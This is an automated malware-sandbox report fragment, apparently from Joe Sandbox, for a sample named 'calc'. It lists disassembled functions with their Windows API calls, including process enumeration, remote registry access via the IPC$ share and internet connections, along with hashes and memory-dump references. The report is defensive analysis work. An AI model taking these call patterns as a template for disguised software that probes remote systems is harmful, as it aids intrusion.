    • Opcode Fuzzy Hash: b775c76aaabb7ba7156cb814bf6caf9c6bccd3d2c61fbd903a8bcc880dd4e17f
    • Instruction Fuzzy Hash: 0FC17E71A042559EDF11EF65C8847AA7FA8AF08309F0541ABFC04BB287C77CD949CB69
    Function 00412E32 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 208windowCOMMON
    Download Yara Rule
    APIs
    • GetMenuItemInfoW.USER32(00000007,?,00000000,0000002C), ref: 00412EEC
    • GetMenuItemCount.USER32(0047A6A8), ref: 00412F7B
    • DeleteMenu.USER32(0047A6A8,00000005,00000000,0047A6A8,?,00000000), ref: 00413012
    • DeleteMenu.USER32(0047A6A8,00000004,00000000,?,00000000), ref: 00413019
    • DeleteMenu.USER32(0047A6A8,00000006,00000000,?,00000000), ref: 00413020
    • DeleteMenu.USER32(0047A6A8,00000003,00000000,?,00000000), ref: 00413027
    • GetMenuItemCount.USER32(0047A6A8), ref: 0041302E
    • SetMenuItemInfoW.USER32(0047A6A8,00000004,00000000,0000002C), ref: 00413065
    • GetCursorPos.USER32(?), ref: 0041306F
    • SetForegroundWindow.USER32(?), ref: 00413078
    • TrackPopupMenuEx.USER32(0047A6A8,00000000,?,00000040,?,00000000,?,00000000), ref: 0041308B
    • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00413097
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
    • String ID: ,$@
    • API String ID: 1441871840-1227015840
    • Opcode ID: 6fba69342bae33aab1d83c18947fedfc591f4581130f52114987ab3926d0da51
    • Instruction ID: 4df3f0e84d8b0de06bb22b55110f503df572b040d89fde59fd7f95bd6219fecb
    • Opcode Fuzzy Hash: 6fba69342bae33aab1d83c18947fedfc591f4581130f52114987ab3926d0da51
    • Instruction Fuzzy Hash: 7671AE70501248BEEB21DF54CD84FDBBBF8EB05348F20441AF56592291C7B99E95EB28
    Function 00408DC0 Relevance: 24.4, APIs: 16, Instructions: 435windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00001308,?,00000000), ref: 00408E5F
    • 6FAA0200.COMCTL32(?,?,?,?,?), ref: 00408E8F
    • DeleteObject.GDI32(?), ref: 004092CE
    • DeleteObject.GDI32(?), ref: 004092D8
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: DeleteObject$A0200MessageSend
    • String ID:
    • API String ID: 2693824929-0
    • Opcode ID: 681bfac6f9b775f46c0de513788c86c80d53ef1ddb92152cbeed067875cecc96
    • Instruction ID: 7d2debd5b4728ea3e7bc78dbc7d3a0c9875d6f4225f609ec850b9899efb3e1eb
    • Opcode Fuzzy Hash: 681bfac6f9b775f46c0de513788c86c80d53ef1ddb92152cbeed067875cecc96
    • Instruction Fuzzy Hash: 4CF1BE30600606EFDB21DF64C984AAAB7F5BF05300F1406AEE555EB2E2C738ED90CB59
    Function 00423E39 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 161COMMON
    Download Yara Rule
    APIs
    • CharLowerBuffW.USER32(?,?,00000000,00000000), ref: 00423E8C
    • GetDriveTypeW.KERNEL32(?,open,close), ref: 00423F02
    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423F73
    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423FA6
    • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00423FC9
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: SendString$BuffCharDriveLowerType
    • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
    • API String ID: 1600147383-4113822522
    • Opcode ID: e798e5cba57f05c642975c2479575c6facbe9a9e44185d1778da3dbd510af00b
    • Instruction ID: d880ffdb118256abe20f09d514c1cc5d447d9422aaf319f78db7854ebfdf8fa5
    • Opcode Fuzzy Hash: e798e5cba57f05c642975c2479575c6facbe9a9e44185d1778da3dbd510af00b
    • Instruction Fuzzy Hash: 4351E831A002296ADF10AF65EC41AEF7779AF00725F52451BF811771A1CB7CEE858798
    Function 00418B39 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 399timeCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
    • VariantCopy.OLEAUT32(00000000,00431D12), ref: 00418B96
    • VariantClear.OLEAUT32(00000000), ref: 00418BA6
    • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00418C34
    • VarR4FromDec.OLEAUT32(?,00431D12), ref: 00418C8E
    • VariantInit.OLEAUT32(00000000), ref: 00418E76
    • VariantCopy.OLEAUT32(00000000,00431D12), ref: 00418E7F
    • VariantClear.OLEAUT32(00000000), ref: 00418E8F
    • SafeArrayAccessData.OLEAUT32(F006748D,00000000), ref: 00418EAA
    • SafeArrayAccessData.OLEAUT32(F006748D,?), ref: 00418F24
    • SafeArrayAccessData.OLEAUT32(F006748D,?), ref: 00418F92
    • SafeArrayUnaccessData.OLEAUT32(F006748D), ref: 00418FF4
    Strings
    • %4d%02d%02d%02d%02d%02d, xrefs: 00418C5B
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Variant$ArrayDataSafe$AccessClear$CopyTime$FromInitSystemUnaccess
    • String ID: %4d%02d%02d%02d%02d%02d
    • API String ID: 3089604418-1568723262
    • Opcode ID: cfc0fc8603459c0ecd67d867233e7278f9da470c659dcba5a5f405ed2ac1eb65
    • Instruction ID: f61b0e39ba79fa92f8e0144b1a52bb32301d3f9e329304e71c291f811c95cde8
    • Opcode Fuzzy Hash: cfc0fc8603459c0ecd67d867233e7278f9da470c659dcba5a5f405ed2ac1eb65
    • Instruction Fuzzy Hash: D7E1AB71600615EFDB10CF69C884BAAB7B4FF09305F1484AEE505DB2A1DB78EC82DB59
    Function 00414777 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 163COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004163E7: LoadLibraryA.KERNEL32(Psapi.dll,004147A2,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 004163F2
      • Part of subcall function 004163E7: GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00416404
    • FreeLibrary.KERNEL32(00000000,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414969
      • Part of subcall function 0041640E: LoadLibraryA.KERNEL32(Psapi.dll,004147B9,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00416419
      • Part of subcall function 0041640E: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 0041642B
    • FreeLibrary.KERNEL32(00000000,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 0041495E
      • Part of subcall function 00416435: LoadLibraryA.KERNEL32(Psapi.dll,004147CB,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00416440
      • Part of subcall function 00416435: GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00416452
    • FreeLibrary.KERNEL32(00479E08,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 004147FE
    • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414809
    • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414818
    • OpenProcess.KERNEL32(00000410,00000000,?,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 0041485C
    • CloseHandle.KERNEL32(00420411,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 0041490F
    • FreeLibrary.KERNEL32(00479E08,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414931
    • FreeLibrary.KERNEL32(0042018E,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 0041493B
    • FreeLibrary.KERNEL32(00000000,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414945
    • FreeLibrary.KERNEL32(00479E08,00000000,75570F00,?,004145E2,0042018E,0042018E,00479E08,00479E08,00438624,022A57D0,00479E08), ref: 00414953
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc$CloseHandleOpenProcess
    • String ID: Wu
    • API String ID: 3454388078-4083010176
    • Opcode ID: c4f79a643b5682921c722641b7f80092ca5cfa9fb87e33459252109ddd29e822
    • Instruction ID: 67da03c55051d6841422090956ccbf622c4eb7ad81aeaa5aa04e5421710b268f
    • Opcode Fuzzy Hash: c4f79a643b5682921c722641b7f80092ca5cfa9fb87e33459252109ddd29e822
    • Instruction Fuzzy Hash: 765129B1C1022DEBDF12ABA5DC40AEFBBB8BF88315F140167E510B2150D7789A85DF98
    Function 00430763 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 138registryshareCOMMON
    Download Yara Rule
    APIs
    • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00430838
    • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00430853
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?), ref: 00430873
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 0043089D
    • CLSIDFromString.COMBASE(00000000,?), ref: 004308CA
    • RegCloseKey.ADVAPI32(?), ref: 004308DC
    • RegCloseKey.ADVAPI32(?), ref: 004308E1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
    • String ID: SOFTWARE\Classes\$\$\$\CLSID$\IPC$
    • API String ID: 3030280669-2678712113
    • Opcode ID: 453c8cb8aaa4de0b09c011fe067ad409552cfb1233d0248a75fe623b2e3561b7
    • Instruction ID: e9f791e3af91f90d151af441e719dbce76ac587e37e4bc486b3c1f566675ae6e
    • Opcode Fuzzy Hash: 453c8cb8aaa4de0b09c011fe067ad409552cfb1233d0248a75fe623b2e3561b7
    • Instruction Fuzzy Hash: E5418271900218ABCF21EFE5DC86DEEBBB9EF08754F100166F901A3151DB399E85CB98
    Function 0040ADFC Relevance: 21.1, APIs: 14, Instructions: 123filecommemoryCOMMON
    Download Yara Rule
    APIs
    • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407B99,?,?,?), ref: 0040AE1F
    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE2E
    • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE3A
    • GlobalLock.KERNEL32(00000000), ref: 0040AE43
    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE53
    • GlobalUnlock.KERNEL32(00000000), ref: 0040AE5A
    • CloseHandle.KERNEL32(00000000,?,?,?,00407B99,?,?,?,?,?), ref: 0040AE61
    • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0040AE6E
    • OleLoadPicture.OLEAUT32(?,00000000,00000000,0045AEA8,?), ref: 0040AE82
    • GlobalFree.KERNEL32(00000000), ref: 0040AE92
    • GetObjectW.GDI32(?,00000018,?), ref: 0040AEB9
    • CopyImage.USER32(?,00000000,?,?,00002000), ref: 0040AEF0
    • DeleteObject.GDI32(?), ref: 0040AF12
    • SendMessageW.USER32(?,00000172,00000000,?), ref: 0040AF28
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
    • String ID:
    • API String ID: 3969911579-0
    • Opcode ID: 49c49731e839cb7fe105a19153864ee00061c65c46ae88794a82da1298d8b0f8
    • Instruction ID: cb8fd9a0ce4e2b5bf979152b6b69ba6d5677fcb9638b9655bdc767c6ac9b755b
    • Opcode Fuzzy Hash: 49c49731e839cb7fe105a19153864ee00061c65c46ae88794a82da1298d8b0f8
    • Instruction Fuzzy Hash: C3413475900319FFCB119FA0CC88DAEBBB9EF89312B2044A5F505E72A1D7359D02CBA4
    Function 00455EDD Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNEL32(user32.dll,0045BFD0,?,?), ref: 00455EF5
    • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00455F11
    • GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00455F22
    • GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00455F2F
    • GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00455F45
    • GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00455F56
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: AddressProc$LibraryLoad
    • String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
    • API String ID: 2238633743-1612076079
    • Opcode ID: 7611b16ea55112288e4e24d76ec937120c27eb8a9d56c1d51c026ca64dbdc89f
    • Instruction ID: 4e8962c2657cc3db2d1b492644d61bf7130a5013e907e64669c8747346af678d
    • Opcode Fuzzy Hash: 7611b16ea55112288e4e24d76ec937120c27eb8a9d56c1d51c026ca64dbdc89f
    • Instruction Fuzzy Hash: 0321C872205705AFEB109FB59C94E3B3BE89B05746B10043BED00D2152E7BCC84C9B6E
    Function 0043936F Relevance: 19.9, APIs: 13, Instructions: 361COMMON
    Download Yara Rule
    APIs
    • OpenProcess.KERNEL32(00000410,00000000,?), ref: 00439448
    • CloseHandle.KERNEL32(?), ref: 0043951D
    • FreeLibrary.KERNEL32(?), ref: 0043953D
    • FreeLibrary.KERNEL32(?), ref: 00439547
    • FreeLibrary.KERNEL32(?,00000000), ref: 00439574
      • Part of subcall function 00416372: LoadLibraryA.KERNEL32(kernel32.dll,0041461F,75570F00,00479E08), ref: 0041637D
      • Part of subcall function 00416372: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0041638F
    • FreeLibrary.KERNEL32(?,00000000), ref: 0043957E
    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 0043969F
    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396B4
    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396BF
    • FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 004396CA
    • FreeLibrary.KERNEL32(?,00000000), ref: 004397CB
    • FreeLibrary.KERNEL32(?,00000000), ref: 004397D5
      • Part of subcall function 00416399: LoadLibraryA.KERNEL32(kernel32.dll,00414630,75570F00,00479E08), ref: 004163A4
      • Part of subcall function 00416399: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 004163B6
      • Part of subcall function 004163C0: LoadLibraryA.KERNEL32(kernel32.dll,00414641,75570F00,00479E08), ref: 004163CB
      • Part of subcall function 004163C0: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 004163DD
    • FreeLibrary.KERNEL32(?,00000000), ref: 004397DF
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$AddressLoadProc$CloseHandle$OpenProcess
    • String ID:
    • API String ID: 2673135774-0
    • Opcode ID: 4b6be4e7d54f93fa4930be267a8433d1409893dadd987cea7e2096f976ecb1a7
    • Instruction ID: b58e278ce73e61c3bd0addc224ce89628fbce7a2dc744801581c9458643eb4d8
    • Opcode Fuzzy Hash: 4b6be4e7d54f93fa4930be267a8433d1409893dadd987cea7e2096f976ecb1a7
    • Instruction Fuzzy Hash: BAD1D872D00219EBDF11EFA5CC819DEB7B8AF08304F1540ABE905B7151DB78AE858B99
    Function 0042AD12 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 278COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0042FEC4: LoadLibraryA.KERNEL32(Wininet.dll,0042FD60,00000000,0042AA4D,?,?,?,?,?,00000001,00000000,00000000,00000002,00000000,00000002,?), ref: 0042FECF
      • Part of subcall function 0042FEC4: GetProcAddress.KERNEL32(00000000,InternetConnectW), ref: 0042FEE1
    • FreeLibrary.KERNEL32(?,00000000,?,?,?,?,?,00000000,00000000), ref: 0042ADE8
      • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
      • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
    • FreeLibrary.KERNEL32(?,0000008C,000000FF,00000000,00000000), ref: 0042AD6D
    • FreeLibrary.KERNEL32(?), ref: 0042B012
    • FreeLibrary.KERNEL32(?), ref: 0042B01C
    • FreeLibrary.KERNEL32(?), ref: 0042B026
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Library$Free$Load$String$AddressProc
    • String ID: Wu
    • API String ID: 2369986452-4083010176
    • Opcode ID: 63ac6f70c11f3603ce28654a140b3cbbe2cadf9ebbd1ba77de62dfe0f6e3a0ff
    • Instruction ID: 92fbcbd25f89717f49a0dea9fa4711d163105862c477200d8f3d6367005632a0
    • Opcode Fuzzy Hash: 63ac6f70c11f3603ce28654a140b3cbbe2cadf9ebbd1ba77de62dfe0f6e3a0ff
    • Instruction Fuzzy Hash: 92A10C71D0052DEBDF11ABA6EC418EEB7B8FF48304B54406BE811B3161DB38AA45DF69
    Function 0043B5F6 Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 238COMMON
    Download Yara Rule
    APIs
    • CharUpperBuffW.USER32(00000000,?,?,?,?), ref: 0043B60B
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BuffCharUpper
    • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
    • API String ID: 3964851224-909552448
    • Opcode ID: ea952f2150a40c486bed9d5bb19761509c9b5ef807b376e14e84e5588de93987
